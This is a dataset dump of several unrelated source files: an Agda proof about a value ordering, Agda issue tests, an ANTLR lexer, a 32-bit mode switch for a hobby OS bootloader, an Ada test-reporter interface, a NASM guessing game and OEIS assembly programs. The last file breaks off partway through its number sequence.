max_stars_repo_path stringlengths 4 261 | max_stars_repo_name stringlengths 6 106 | max_stars_count int64 0 38.8k | id stringlengths 1 6 | text stringlengths 7 1.05M |
|---|---|---|---|---|
extra/extra/Value.agda | andorp/plfa.github.io | 1,003 | 4884 | open import Data.Nat using (ℕ; suc ; zero; _+_; _≤′_; _<′_; _<_; _≤_;
z≤n; s≤s; ≤′-refl; ≤′-step; _≟_) renaming (_⊔_ to max)
open import Data.Nat.Properties
using (n≤0⇒n≡0; ≤-refl; ≤-trans; m≤m⊔n; n≤m⊔n; ≤-step; ⊔-mono-≤;
+-mono-≤; +-mono-≤-<; +-mono-<-≤; +-comm; +-assoc; n≤1+n;
≤-pred; m≤m+n; n≤m+n; ≤-reflexive; ≤′⇒≤; ≤⇒≤′; +-suc)
open Data.Nat.Properties.≤-Reasoning using (begin_; _≤⟨_⟩_; _∎)
open import Data.Bool using (Bool) renaming (_≟_ to _=?_)
open import Data.Product using (_×_; Σ; Σ-syntax; ∃; ∃-syntax; proj₁; proj₂)
renaming (_,_ to ⟨_,_⟩)
open import Data.Sum using (_⊎_; inj₁; inj₂)
open import Data.Empty using (⊥-elim) renaming (⊥ to Bot)
open import Data.Unit using (⊤; tt)
open import Data.Maybe
open import Data.List using (List ; _∷_ ; []; _++_)
open import Relation.Nullary using (¬_)
open import Relation.Nullary using (Dec; yes; no)
open import Relation.Nullary.Negation using (contradiction)
open import Relation.Binary.PropositionalEquality using (_≡_; refl; sym; cong)
open Relation.Binary.PropositionalEquality.≡-Reasoning renaming (begin_ to start_; _∎ to _□)
module extra.Value where
data Base : Set where
Nat : Base
𝔹 : Base
data Prim : Set where
base : Base → Prim
_⇒_ : Base → Prim → Prim
base-rep : Base → Set
base-rep Nat = ℕ
base-rep 𝔹 = Bool
rep : Prim → Set
rep (base b) = base-rep b
rep (b ⇒ p) = base-rep b → rep p
base-eq? : (B : Base) → (B' : Base) → Dec (B ≡ B')
base-eq? Nat Nat = yes refl
base-eq? Nat 𝔹 = no (λ ())
base-eq? 𝔹 Nat = no (λ ())
base-eq? 𝔹 𝔹 = yes refl
base-rep-eq? : ∀{B} → (k : base-rep B) (k′ : base-rep B) → Dec (k ≡ k′)
base-rep-eq? {Nat} k k′ = k ≟ k′
base-rep-eq? {𝔹} k k′ = k =? k′
infixr 7 _↦_
infixl 6 _⊔_
data Value : Set
data Value where
⊥ : Value
const : {b : Base} → base-rep b → Value
_↦_ : Value → Value → Value
_⊔_ : (u : Value) → (v : Value) → Value
infix 5 _∈_
_∈_ : Value → Value → Set
u ∈ ⊥ = u ≡ ⊥
u ∈ const {B} k = u ≡ const {B} k
u ∈ v ↦ w = u ≡ v ↦ w
u ∈ (v ⊔ w) = u ∈ v ⊎ u ∈ w
infix 5 _⊆_
_⊆_ : Value → Value → Set
v ⊆ w = ∀{u} → u ∈ v → u ∈ w
AllFun : (u : Value) → Set
AllFun ⊥ = Bot
AllFun (const x) = Bot
AllFun (v ↦ w) = ⊤
AllFun (u ⊔ v) = AllFun u × AllFun v
dom : (u : Value) → Value
dom ⊥ = ⊥
dom (const k) = ⊥
dom (v ↦ w) = v
dom (u ⊔ v) = dom u ⊔ dom v
cod : (u : Value) → Value
cod ⊥ = ⊥
cod (const k) = ⊥
cod (v ↦ w) = w
cod (u ⊔ v) = cod u ⊔ cod v
infix 4 _⊑_
data _⊑_ : Value → Value → Set where
⊑-⊥ : ∀ {v} → ⊥ ⊑ v
⊑-const : ∀ {B}{k} → const {B} k ⊑ const {B} k
⊑-conj-L : ∀ {u v w}
→ v ⊑ u
→ w ⊑ u
-----------
→ v ⊔ w ⊑ u
⊑-conj-R1 : ∀ {u v w}
→ u ⊑ v
------------------
→ u ⊑ v ⊔ w
⊑-conj-R2 : ∀ {u v w}
→ u ⊑ w
-----------
→ u ⊑ v ⊔ w
⊑-fun : ∀ {u u′ v w}
→ u′ ⊆ u
→ AllFun u′
→ dom u′ ⊑ v
→ w ⊑ cod u′
-------------------
→ v ↦ w ⊑ u
⊑-refl : ∀{v} → v ⊑ v
⊑-refl {⊥} = ⊑-⊥
⊑-refl {const k} = ⊑-const
⊑-refl {v ↦ w} = ⊑-fun{v ↦ w}{v ↦ w} (λ {u} z → z) tt (⊑-refl{v}) ⊑-refl
⊑-refl {v₁ ⊔ v₂} = ⊑-conj-L (⊑-conj-R1 ⊑-refl) (⊑-conj-R2 ⊑-refl)
factor : (u : Value) → (u′ : Value) → (v : Value) → (w : Value) → Set
factor u u′ v w = AllFun u′ × u′ ⊆ u × dom u′ ⊑ v × w ⊑ cod u′
⊑-fun-inv : ∀{u₁ u₂ v w}
→ u₁ ⊑ u₂
→ v ↦ w ∈ u₁
→ Σ[ u₃ ∈ Value ] factor u₂ u₃ v w
⊑-fun-inv {.⊥} {u₂} {v} {w} ⊑-⊥ ()
⊑-fun-inv {.(const _)} {.(const _)} {v} {w} ⊑-const ()
⊑-fun-inv {u11 ⊔ u12} {u₂} {v} {w} (⊑-conj-L u₁⊑u₂ u₁⊑u₃) (inj₁ x) =
⊑-fun-inv u₁⊑u₂ x
⊑-fun-inv {u11 ⊔ u12} {u₂} {v} {w} (⊑-conj-L u₁⊑u₂ u₁⊑u₃) (inj₂ y) =
⊑-fun-inv u₁⊑u₃ y
⊑-fun-inv {u₁} {u21 ⊔ u22} {v} {w} (⊑-conj-R1 u₁⊑u₂) v↦w∈u₁
with ⊑-fun-inv {u₁} {u21} {v} {w} u₁⊑u₂ v↦w∈u₁
... | ⟨ u₃ , ⟨ afu₃ , ⟨ u3⊆u₁ , ⟨ du₃⊑v , w⊑codu₃ ⟩ ⟩ ⟩ ⟩ =
⟨ u₃ , ⟨ afu₃ , ⟨ (λ {x} x₁ → inj₁ (u3⊆u₁ x₁)) , ⟨ du₃⊑v , w⊑codu₃ ⟩ ⟩ ⟩ ⟩
⊑-fun-inv {u₁} {u21 ⊔ u22} {v} {w} (⊑-conj-R2 u₁⊑u₂) v↦w∈u₁
with ⊑-fun-inv {u₁} {u22} {v} {w} u₁⊑u₂ v↦w∈u₁
... | ⟨ u₃ , ⟨ afu₃ , ⟨ u3⊆u₁ , ⟨ du₃⊑v , w⊑codu₃ ⟩ ⟩ ⟩ ⟩ =
⟨ u₃ , ⟨ afu₃ , ⟨ (λ {x} x₁ → inj₂ (u3⊆u₁ x₁)) , ⟨ du₃⊑v , w⊑codu₃ ⟩ ⟩ ⟩ ⟩
⊑-fun-inv {u11 ↦ u21} {u₂} {v} {w} (⊑-fun{u′ = u′} u′⊆u₂ afu′ du′⊑u11 u21⊑cu′)
refl =
⟨ u′ , ⟨ afu′ , ⟨ u′⊆u₂ , ⟨ du′⊑u11 , u21⊑cu′ ⟩ ⟩ ⟩ ⟩
sub-inv-trans : ∀{u′ u₂ u : Value}
→ AllFun u′ → u′ ⊆ u
→ (∀{v′ w′} → v′ ↦ w′ ∈ u′ → Σ[ u₃ ∈ Value ] factor u₂ u₃ v′ w′)
---------------------------------------------------------------
→ Σ[ u₃ ∈ Value ] factor u₂ u₃ (dom u′) (cod u′)
sub-inv-trans {⊥} {u₂} {u} () u′⊆u IH
sub-inv-trans {const k} {u₂} {u} () u′⊆u IH
sub-inv-trans {u₁′ ↦ u₂′} {u₂} {u} fu′ u′⊆u IH = IH refl
sub-inv-trans {u₁′ ⊔ u₂′} {u₂} {u} ⟨ afu₁′ , afu₂′ ⟩ u′⊆u IH
with sub-inv-trans {u₁′} {u₂} {u} afu₁′
(λ {u₁} z → u′⊆u (inj₁ z)) (λ {v′} {w′} z → IH (inj₁ z))
| sub-inv-trans {u₂′} {u₂} {u} afu₂′
(λ {u₁} z → u′⊆u (inj₂ z)) (λ {v′} {w′} z → IH (inj₂ z))
... | ⟨ u₃ , ⟨ afu₃ , ⟨ u₃⊆ , ⟨ du₃⊑ , ⊑cu₃ ⟩ ⟩ ⟩ ⟩
| ⟨ u₄ , ⟨ afu₄ , ⟨ u₄⊆ , ⟨ du₄⊑ , ⊑cu₄ ⟩ ⟩ ⟩ ⟩ =
⟨ (u₃ ⊔ u₄) , ⟨ ⟨ afu₃ , afu₄ ⟩ , ⟨ G , ⟨ H , I ⟩ ⟩ ⟩ ⟩
where
G : ∀ {u₁} → u₁ ∈ u₃ ⊎ u₁ ∈ u₄ → u₁ ∈ u₂
G {u₁} (inj₁ x) = u₃⊆ x
G {u₁} (inj₂ y) = u₄⊆ y
H : dom u₃ ⊔ dom u₄ ⊑ dom u₁′ ⊔ dom u₂′
H = ⊑-conj-L (⊑-conj-R1 du₃⊑) (⊑-conj-R2 du₄⊑)
I : cod u₁′ ⊔ cod u₂′ ⊑ cod u₃ ⊔ cod u₄
I = ⊑-conj-L (⊑-conj-R1 ⊑cu₃) (⊑-conj-R2 ⊑cu₄)
⊔⊑R : ∀{B C A}
→ B ⊔ C ⊑ A
→ B ⊑ A
⊔⊑R (⊑-conj-L B⊔C⊑A B⊔C⊑A₁) = B⊔C⊑A
⊔⊑R (⊑-conj-R1 B⊔C⊑A) = ⊑-conj-R1 (⊔⊑R B⊔C⊑A)
⊔⊑R (⊑-conj-R2 B⊔C⊑A) = ⊑-conj-R2 (⊔⊑R B⊔C⊑A)
⊔⊑L : ∀{B C A}
→ B ⊔ C ⊑ A
→ C ⊑ A
⊔⊑L (⊑-conj-L B⊔C⊑A B⊔C⊑A₁) = B⊔C⊑A₁
⊔⊑L (⊑-conj-R1 B⊔C⊑A) = ⊑-conj-R1 (⊔⊑L B⊔C⊑A)
⊔⊑L (⊑-conj-R2 B⊔C⊑A) = ⊑-conj-R2 (⊔⊑L B⊔C⊑A)
u∈v⊑w→u⊑w : ∀{B A C} → C ∈ B → B ⊑ A → C ⊑ A
u∈v⊑w→u⊑w {⊥} C∈B B⊑A rewrite C∈B = B⊑A
u∈v⊑w→u⊑w {const k} C∈B B⊑A rewrite C∈B = B⊑A
u∈v⊑w→u⊑w {B₁ ↦ B₂} C∈B B⊑A rewrite C∈B = B⊑A
u∈v⊑w→u⊑w {B₁ ⊔ B₂}{A}{C} (inj₁ C∈B₁) B⊑A = u∈v⊑w→u⊑w {B₁}{A}{C} C∈B₁ (⊔⊑R B⊑A)
u∈v⊑w→u⊑w {B₁ ⊔ B₂}{A}{C} (inj₂ C∈B₂) B⊑A = u∈v⊑w→u⊑w {B₂}{A}{C} C∈B₂ (⊔⊑L B⊑A)
u⊆v⊑w→u⊑w : ∀{u v w} → u ⊆ v → v ⊑ w → u ⊑ w
u⊆v⊑w→u⊑w {⊥} {v} {w} u⊆v v⊑w = ⊑-⊥
u⊆v⊑w→u⊑w {const k} {v} {w} u⊆v v⊑w
with u⊆v refl
... | k∈v = u∈v⊑w→u⊑w k∈v v⊑w
u⊆v⊑w→u⊑w {u₁ ↦ u₂} {v} {w} u⊆v v⊑w
with u⊆v refl
... | u₁↦u₂∈v = u∈v⊑w→u⊑w u₁↦u₂∈v v⊑w
u⊆v⊑w→u⊑w {u₁ ⊔ u₂} {v} {w} u⊆v v⊑w =
⊑-conj-L (u⊆v⊑w→u⊑w u₁⊆v v⊑w) (u⊆v⊑w→u⊑w u₂⊆v v⊑w)
where
u₁⊆v : u₁ ⊆ v
u₁⊆v {u′} u′∈u₁ = u⊆v (inj₁ u′∈u₁)
u₂⊆v : u₂ ⊆ v
u₂⊆v {u′} u′∈u₂ = u⊆v (inj₂ u′∈u₂)
depth : (v : Value) → ℕ
depth ⊥ = zero
depth (const k) = zero
depth (v ↦ w) = suc (max (depth v) (depth w))
depth (v₁ ⊔ v₂) = max (depth v₁) (depth v₂)
size : (v : Value) → ℕ
size ⊥ = zero
size (const k) = zero
size (v ↦ w) = suc (size v + size w)
size (v₁ ⊔ v₂) = suc (size v₁ + size v₂)
∈→depth≤ : ∀{v u : Value} → u ∈ v → depth u ≤ depth v
∈→depth≤ {⊥} {u} u∈v rewrite u∈v = _≤_.z≤n
∈→depth≤ {const x} {u} u∈v rewrite u∈v = _≤_.z≤n
∈→depth≤ {v ↦ w} {u} u∈v rewrite u∈v = ≤-refl
∈→depth≤ {v₁ ⊔ v₂} {u} (inj₁ x) =
≤-trans (∈→depth≤ {v₁} {u} x) (m≤m⊔n (depth v₁) (depth v₂))
∈→depth≤ {v₁ ⊔ v₂} {u} (inj₂ y) =
≤-trans (∈→depth≤ {v₂} {u} y) (n≤m⊔n (depth v₁) (depth v₂))
max-lub : ∀{x y z : ℕ} → x ≤ z → y ≤ z → max x y ≤ z
max-lub {.0} {y} {z} _≤_.z≤n y≤z = y≤z
max-lub {suc x} {.0} {suc z} (_≤_.s≤s x≤z) _≤_.z≤n = _≤_.s≤s x≤z
max-lub {suc x} {suc y} {suc z} (_≤_.s≤s x≤z) (_≤_.s≤s y≤z) =
let max-xy≤z = max-lub {x}{y}{z} x≤z y≤z in
_≤_.s≤s max-xy≤z
⊔⊆-inv : ∀{u v w : Value}
→ (u ⊔ v) ⊆ w
---------------
→ u ⊆ w × v ⊆ w
⊔⊆-inv uvw = ⟨ (λ x → uvw (inj₁ x)) , (λ x → uvw (inj₂ x)) ⟩
⊆→depth≤ : ∀{u v : Value} → u ⊆ v → depth u ≤ depth v
⊆→depth≤ {⊥} {v} u⊆v = _≤_.z≤n
⊆→depth≤ {const x} {v} u⊆v = _≤_.z≤n
⊆→depth≤ {u₁ ↦ u₂} {v} u⊆v = ∈→depth≤ (u⊆v refl)
⊆→depth≤ {u₁ ⊔ u₂} {v} u⊆v
with ⊔⊆-inv u⊆v
... | ⟨ u₁⊆v , u₂⊆v ⟩ =
let u₁≤v = ⊆→depth≤ u₁⊆v in
let u₂≤v = ⊆→depth≤ u₂⊆v in
max-lub u₁≤v u₂≤v
dom-depth-≤ : ∀{u : Value} → depth (dom u) ≤ depth u
dom-depth-≤ {⊥} = _≤_.z≤n
dom-depth-≤ {const k} = _≤_.z≤n
dom-depth-≤ {v ↦ w} = ≤-step (m≤m⊔n (depth v) (depth w))
dom-depth-≤ {u ⊔ v} =
let ih1 = dom-depth-≤ {u} in
let ih2 = dom-depth-≤ {v} in
⊔-mono-≤ ih1 ih2
cod-depth-≤ : ∀{u : Value} → depth (cod u) ≤ depth u
cod-depth-≤ {⊥} = _≤_.z≤n
cod-depth-≤ {const k} = _≤_.z≤n
cod-depth-≤ {v ↦ w} = ≤-step (n≤m⊔n (depth v) (depth w))
cod-depth-≤ {u ⊔ v} =
let ih1 = cod-depth-≤ {u} in
let ih2 = cod-depth-≤ {v} in
⊔-mono-≤ ih1 ih2
≤′-trans : ∀{x y z} → x ≤′ y → y ≤′ z → x ≤′ z
≤′-trans x≤′y y≤′z = ≤⇒≤′ (≤-trans (≤′⇒≤ x≤′y) (≤′⇒≤ y≤′z))
data _<<_ : ℕ × ℕ → ℕ × ℕ → Set where
fst : ∀{x x' y y'} → x <′ x' → ⟨ x , y ⟩ << ⟨ x' , y' ⟩
snd : ∀{x x' y y'} → x ≤′ x' → y <′ y' → ⟨ x , y ⟩ << ⟨ x' , y' ⟩
<<-nat-wf : (P : ℕ → ℕ → Set) →
(∀ x y → (∀ {x' y'} → ⟨ x' , y' ⟩ << ⟨ x , y ⟩ → P x' y') → P x y) →
∀ x y → P x y
<<-nat-wf P ih x y = ih x y (help x y)
where help : (x y : ℕ) → ∀{ x' y'} → ⟨ x' , y' ⟩ << ⟨ x , y ⟩ → P x' y'
help .(suc x') y {x'}{y'} (fst ≤′-refl) =
ih x' y' (help x' y')
help .(suc x) y {x'}{y'} (fst (≤′-step {x} q)) =
help x y {x'}{y'} (fst q)
help x .(suc y) {x'}{y} (snd x'≤x ≤′-refl) =
let h : ∀ {x₁} {x₂} → (⟨ x₁ , x₂ ⟩ << ⟨ x , y ⟩) → P x₁ x₂
h = help x y in
ih x' y G
where
G : ∀ {x'' y'} → ⟨ x'' , y' ⟩ << ⟨ x' , y ⟩ → P x'' y'
G {x''} {y'} (fst x''<x') =
help x y (fst {y = y'}{y' = y} (≤′-trans x''<x' x'≤x))
G {x''} {y'} (snd x''≤x' y'<y) =
help x y {x''}{y'} (snd (≤′-trans x''≤x' x'≤x) y'<y)
help x .(suc y) {x'}{y'} (snd x′≤x (≤′-step {y} q)) =
help x y {x'}{y'} (snd x′≤x q)
⊑-trans-P : ℕ → ℕ → Set
⊑-trans-P d s = ∀{u v w} → d ≡ depth u + depth w → s ≡ size u + size v
→ u ⊑ v → v ⊑ w → u ⊑ w
⊑-trans-rec : ∀ d s → ⊑-trans-P d s
⊑-trans-rec = <<-nat-wf ⊑-trans-P helper
where
helper : ∀ x y
→ (∀ {x' y'} → ⟨ x' , y' ⟩ << ⟨ x , y ⟩ → ⊑-trans-P x' y')
→ ⊑-trans-P x y
helper d s IH {.⊥} {v} {w} d≡ s≡ ⊑-⊥ v⊑w = ⊑-⊥
helper d s IH {.(const _)} {.(const _)} {w} d≡ s≡ ⊑-const v⊑w = v⊑w
helper d s IH {u₁ ⊔ u₂} {v} {w} d≡ s≡ (⊑-conj-L u₁⊑v u₂⊑v) v⊑w
rewrite d≡ | s≡ =
let u₁⊑w = IH M1 {u₁}{v}{w} refl refl u₁⊑v v⊑w in
let u₂⊑w = IH M2 {u₂}{v}{w} refl refl u₂⊑v v⊑w in
⊑-conj-L u₁⊑w u₂⊑w
where
M1a = begin
depth u₁ + depth w
≤⟨ +-mono-≤ (m≤m⊔n (depth u₁) (depth u₂)) ≤-refl ⟩
max (depth u₁) (depth u₂) + depth w
∎
M1b = begin
suc (size u₁ + size v)
≤⟨ s≤s (+-mono-≤ ≤-refl (n≤m+n (size u₂) (size v))) ⟩
suc (size u₁ + (size u₂ + size v))
≤⟨ s≤s (≤-reflexive (sym (+-assoc (size u₁) (size u₂) (size v)))) ⟩
suc (size u₁ + size u₂ + size v)
∎
M1 : ⟨ depth u₁ + depth w , size u₁ + size v ⟩ <<
⟨ max (depth u₁) (depth u₂) + depth w ,
suc (size u₁ + size u₂ + size v) ⟩
M1 = snd (≤⇒≤′ M1a) (≤⇒≤′ M1b)
M2a = begin
depth u₂ + depth w
≤⟨ +-mono-≤ (n≤m⊔n (depth u₁) (depth u₂)) ≤-refl ⟩
max (depth u₁) (depth u₂) + depth w
∎
M2b = begin
suc (size u₂ + size v)
≤⟨ s≤s (+-mono-≤ (n≤m+n (size u₁) (size u₂)) ≤-refl) ⟩
suc ((size u₁ + size u₂) + size v)
∎
M2 : ⟨ depth u₂ + depth w , size u₂ + size v ⟩ <<
⟨ max (depth u₁) (depth u₂) + depth w ,
suc (size u₁ + size u₂ + size v) ⟩
M2 = snd (≤⇒≤′ M2a) (≤⇒≤′ M2b)
helper d s IH {u} {v₁ ⊔ v₂} {w} d≡ s≡ (⊑-conj-R1 u⊑v₁) v₁⊔v₂⊑w
rewrite d≡ | s≡ =
let v₁⊑w = ⊔⊑R v₁⊔v₂⊑w in
IH M {u}{v₁}{w} refl refl u⊑v₁ v₁⊑w
where
Ma = begin
suc (size u + size v₁)
≤⟨ ≤-reflexive (sym (+-suc (size u) (size v₁))) ⟩
size u + suc (size v₁)
≤⟨ +-mono-≤ ≤-refl (s≤s (m≤m+n (size v₁) (size v₂))) ⟩
size u + suc (size v₁ + size v₂)
∎
M : ⟨ depth u + depth w , size u + size v₁ ⟩ <<
⟨ depth u + depth w , size u + suc (size v₁ + size v₂) ⟩
M = snd (≤⇒≤′ ≤-refl) (≤⇒≤′ Ma)
helper d s IH {u} {v₁ ⊔ v₂} {w} d≡ s≡ (⊑-conj-R2 u⊑v₂) v₁⊔v₂⊑w
rewrite d≡ | s≡ =
let v₂⊑w = ⊔⊑L v₁⊔v₂⊑w in
IH M {u}{v₂}{w} refl refl u⊑v₂ v₂⊑w
where
Ma = begin
suc (size u + size v₂)
≤⟨ ≤-reflexive (sym (+-suc (size u) (size v₂))) ⟩
size u + suc (size v₂)
≤⟨ +-mono-≤ ≤-refl (s≤s (n≤m+n (size v₁) (size v₂))) ⟩
size u + suc (size v₁ + size v₂)
∎
M : ⟨ depth u + depth w , size u + size v₂ ⟩ <<
⟨ depth u + depth w , size u + suc (size v₁ + size v₂) ⟩
M = snd (≤⇒≤′ ≤-refl) (≤⇒≤′ Ma)
helper d s IH {u₁ ↦ u₂}{v}{w}d≡ s≡ (⊑-fun{u′ = v′}v′⊆v afv′ dv′⊑u₁ u₂⊑cv′) v⊑w
rewrite d≡ | s≡
with sub-inv-trans afv′ v′⊆v
(λ {v₁}{v₂} v₁↦v₂∈v′ → ⊑-fun-inv {v′} {w} (u⊆v⊑w→u⊑w v′⊆v v⊑w)
v₁↦v₂∈v′)
... | ⟨ w′ , ⟨ afw′ , ⟨ w′⊆w , ⟨ dw′⊑dv′ , cv′⊑cw′ ⟩ ⟩ ⟩ ⟩ =
let dw′⊑u₁ = IH M1 {dom w′}{dom v′}{u₁} refl refl dw′⊑dv′ dv′⊑u₁ in
let u₂⊑cw′ = IH M2 {u₂}{cod v′}{cod w′} refl refl u₂⊑cv′ cv′⊑cw′ in
⊑-fun{u′ = w′} w′⊆w afw′ dw′⊑u₁ u₂⊑cw′
where
dw′≤w : depth (dom w′) ≤ depth w
dw′≤w = ≤-trans (dom-depth-≤{w′}) (⊆→depth≤ w′⊆w)
cw′≤w : depth (cod w′) ≤ depth w
cw′≤w = ≤-trans (cod-depth-≤{w′}) (⊆→depth≤ w′⊆w)
M1a = begin
suc (depth (dom w′) + depth u₁)
≤⟨ s≤s (≤-reflexive (+-comm (depth (dom w′)) (depth u₁))) ⟩
suc (depth u₁ + depth (dom w′))
≤⟨ s≤s (+-mono-≤ (m≤m⊔n (depth u₁) (depth u₂)) dw′≤w) ⟩
suc (max (depth u₁) (depth u₂) + depth w)
∎
M1 : ⟨ depth (dom w′) + depth u₁ , size (dom w′) + size (dom v′) ⟩
<< ⟨ suc (max (depth u₁) (depth u₂) + depth w) ,
suc (size u₁ + size u₂ + size v) ⟩
M1 = fst (≤⇒≤′ M1a)
M2a = begin
suc (depth u₂ + depth (cod w′))
≤⟨ s≤s (+-mono-≤ (n≤m⊔n (depth u₁) (depth u₂)) cw′≤w) ⟩
suc (max (depth u₁) (depth u₂) + depth w)
∎
M2 : ⟨ depth u₂ + depth (cod w′) ,
size u₂ + size (cod v′) ⟩
<< ⟨ suc (max (depth u₁) (depth u₂) + depth w) ,
suc (size u₁ + size u₂ + size v) ⟩
M2 = fst (≤⇒≤′ M2a)
⊑-trans : ∀{u v w} → u ⊑ v → v ⊑ w → u ⊑ w
⊑-trans {u} {v} {w} u⊑v v⊑w =
⊑-trans-rec (depth u + depth w) (size u + size v) refl refl u⊑v v⊑w
|
programs/oeis/113/A113655.asm | karttu/loda | 1 | 89143 | ; A113655: Invert blocks of three in the sequence of natural numbers.
; 3,2,1,6,5,4,9,8,7,12,11,10,15,14,13,18,17,16,21,20,19,24,23,22,27,26,25,30,29,28,33,32,31,36,35,34,39,38,37,42,41,40,45,44,43,48,47,46,51,50,49,54,53,52,57,56,55,60,59,58,63,62,61,66,65,64,69,68,67,72,71,70,75,74,73,78,77,76,81,80,79,84,83,82,87,86,85,90,89,88,93,92,91,96,95,94,99,98,97,102,101,100,105,104,103,108,107,106,111,110,109,114,113,112,117,116,115,120,119,118,123,122,121,126,125,124,129,128,127,132,131,130,135,134,133,138,137,136,141,140,139,144,143,142,147,146,145,150,149,148,153,152,151,156,155,154,159,158,157,162,161,160,165,164,163,168,167,166,171,170,169,174,173,172,177,176,175,180,179,178,183,182,181,186,185,184,189,188,187,192,191,190,195,194,193,198,197,196,201,200,199,204,203,202,207,206,205,210,209,208,213,212,211,216,215,214,219,218,217,222,221,220,225,224,223,228,227,226,231,230,229,234,233,232,237,236,235,240,239,238,243,242,241,246,245,244,249,248,247,252
mov $1,$0
mod $0,3
sub $1,$0
sub $1,$0
add $1,3
|
04labeledexpr/Lex.g4 | giuliojiang/antlr-tests | 0 | 4741 | <filename>04labeledexpr/Lex.g4<gh_stars>0
lexer grammar Lex;
ID: [a-zA-Z]+ ;
INT: [0-9]+ ;
NEWLINE: '\r'? '\n' ;
WS: [ \t]+ -> skip ;
MUL: '*' ;
DIV: '/' ;
ADD: '+' ;
SUB: '-' ; |
src/apsepp-test_reporter_data_struct_class.ads | thierr26/ada-apsepp | 0 | 6855 | <reponame>thierr26/ada-apsepp
-- Copyright (C) 2019 <NAME> <<EMAIL>>
-- MIT license. Please refer to the LICENSE file.
with Ada.Tags; use Ada.Tags;
with Apsepp.Test_Event_Class; use Apsepp.Test_Event_Class;
package Apsepp.Test_Reporter_Data_Struct_Class is
type Event_Count is new Natural;
subtype Event_Index is Event_Count range 1 .. Event_Count'Last;
type Test_Reporter_Data_Interfa is limited interface;
type Test_Reporter_Data_Proc
is access procedure (Data : Test_Reporter_Data_Interfa'Class);
not overriding
function Is_Empty (Obj : Test_Reporter_Data_Interfa) return Boolean
is abstract;
not overriding
procedure Reset (Obj : in out Test_Reporter_Data_Interfa) is abstract
with Post'Class => Obj.Is_Empty;
not overriding
function Is_Active (Obj : Test_Reporter_Data_Interfa;
Node_Tag : Tag) return Boolean is abstract;
not overriding
procedure Include_Node (Obj : in out Test_Reporter_Data_Interfa;
Node_Lineage : Tag_Array) is abstract
with Pre'Class => (for all T of Node_Lineage => T /= No_Tag),
Post'Class => not Obj.Is_Empty;
-- TODOC: A new event (copy of Event) is allocated by Add_Event. Event
-- should be cleaned up after the Add_Event call.
not overriding
procedure Add_Event
(Obj : in out Test_Reporter_Data_Interfa;
Node_Tag : Tag;
Event : Test_Event_Base'Class) is abstract
with Post'Class => not Obj.Is_Empty;
end Apsepp.Test_Reporter_Data_Struct_Class;
|
My OS/boot/switch-to-32bit.asm | faeriemattins/Hydro-Traffic-Monitoring-System | 0 | 171941 | [bits 16]
switch_to_32bit:
cli ; disable interrupts
lgdt [gdt_descriptor] ; load the GDT descriptor
mov eax, cr0
or eax, 0x1 ; set 32-bit mode bit in cr0
mov cr0, eax
jmp CODE_SEG:init_32bit
[bits 32]
init_32bit: ; using 32-bit instructions
mov ax, DATA_SEG ; update the segment registers
mov ds, ax
mov ss, ax
mov es, ax
mov fs, ax
mov gs, ax
mov ebp, 0x90000
mov esp, ebp
call BEGIN_32BIT
|
test/Succeed/Issue1759.agda | shlevy/agda | 1,989 | 492 | -- Andreas, 2016-01-03, issue reported by mechvel
module _ where
-- With hidden parameter, things work
module Works0 {A : Set} where
postulate
P : (a : A) → Set
record Works (a : A) : Set where
f : P a → Set
f p with p
... | _ = A
-- With visible parameter, the error is triggered
-- because it is turned hidden inside the record section
module Fails (A : Set) where
postulate
P : (a : A) → Set
-- Modules do not touch visibility of parameters, so things work.
module Works (a : A) where
f : P a → Set
f p with p
... | _ = A
-- Records have some magic to make record parameters hidden
-- in record section.
-- This leads to an error in @checkInternal@.
record Fails (a : A) : Set where
f : P a → Set
f p with p
... | _ = A
-- ERROR WAS:
-- Expected a visible argument, but found a hidden argument
-- when checking that the type (w p : P a) → Set of the
-- generated with function is well-formed
-- Should succeed.
|
example_files/cmd/others/example.asm | d1ego77/themes | 1 | 9974 | <gh_stars>1-10
global _start
; Guess the number: example taken from http://www.rosettacode.org/
section .data
rand dd 0
guess dd 0
msg1 db "Guess my number (1-10)", 10
len1 equ $ - msg1
msg2 db "Wrong, try again!", 10
len2 equ $ - msg2
msg3 db "Well guessed!", 10
len3 equ $ - msg3
section .text
_start:
; random number using time
mov eax, 13
mov ebx, rand
int 80h
mov eax, [ebx]
mov ebx, 10
xor edx, edx
div ebx
inc edx
mov [rand], edx
; print msg1
mov eax, 4
mov ebx, 1
mov ecx, msg1
mov edx, len1
int 80h
input:
; get input
mov eax, 3
xor ebx, ebx
mov ecx, msg1
mov edx, 1
int 80h
mov al, [ecx]
cmp al, 48
jl check
cmp al, 57
jg check
; if number
sub al, 48
xchg eax, [guess]
mov ebx, 10
mul ebx
add [guess], eax
jmp input
check:
; else check number
mov eax, 4
inc ebx
mov ecx, [guess]
cmp ecx, [rand]
je done
; if not equal
mov ecx, msg2
mov edx, len2
mov dword [guess], 0
int 80h
jmp input
done:
; well guessed
mov ecx, msg3
mov edx, len3
int 80h
; exit
mov eax, 1
xor ebx, ebx
int 80h |
programs/oeis/101/A101383.asm | karttu/loda | 1 | 89193 | ; A101383: a(n) = n*(n+1)*(2*n^3-n^2+2)/6.
; 0,1,14,94,380,1135,2786,5964,11544,20685,34870,55946,86164,128219,185290,261080,359856,486489,646494,846070,1092140,1392391,1755314,2190244,2707400,3317925,4033926,4868514,5835844,6951155,8230810,9692336,11354464,13237169,15361710,17750670,20427996,23419039,26750594,30450940,34549880,39078781,44070614,49559994,55583220,62178315,69385066,77245064,85801744,95100425,105188350,116114726,127930764,140689719,154446930,169259860,185188136,202293589,220640294,240294610,261325220,283803171,307801914,333397344,360667840,389694305,420560206,453351614,488157244,525068495,564179490,605587116,649391064,695693869,744600950,796220650,850664276,908046139,968483594,1032097080,1099010160,1169349561,1243245214,1320830294,1402241260,1487617895,1577103346,1670844164,1768990344,1871695365,1979116230,2091413506,2208751364,2331297619,2459223770,2592705040,2731920416,2877052689,3028288494,3185818350,3349836700,3520541951,3698136514,3882826844,4074823480,4274341085,4481598486,4696818714,4920229044,5152061035,5392550570,5641937896,5900467664,6168388969,6445955390,6733425030,7031060556,7339129239,7657902994,7987658420,8328676840,8681244341,9045651814,9422194994,9811174500,10212895875,10627669626,11055811264,11497641344,11953485505,12423674510,12908544286,13408435964,13923695919,14454675810,15001732620,15565228696,16145531789,16743015094,17358057290,17991042580,18642360731,19312407114,20001582744,20710294320,21438954265,22187980766,22957797814,23748835244,24561528775,25396320050,26253656676,27133992264,28037786469,28965505030,29917619810,30894608836,31896956339,32925152794,33979694960,35061085920,36169835121,37306458414,38471478094,39665422940,40888828255,42142235906,43426194364,44741258744,46087990845,47466959190,48878739066,50323912564,51803068619,53316803050,54865718600,56